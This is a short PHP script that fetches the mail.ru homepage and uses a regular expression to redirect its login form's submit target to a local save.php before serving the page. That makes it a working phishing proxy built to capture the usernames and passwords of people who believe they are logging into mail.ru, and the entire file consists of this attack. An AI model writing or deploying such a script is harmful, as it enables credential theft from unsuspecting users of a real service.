<?php
/**
 * Created by JetBrains PhpStorm.
 * User: alex
 * Date: 01.08.13
 * Time: 16:51
 * To change this template use File | Settings | File Templates.
 */
	$content = file_get_contents("http://mail.ru");
	$content = preg_replace('`(id="Auth".*action=")(.*?)(".*?>)`','$1 /save.php$3', $content);

echo $content;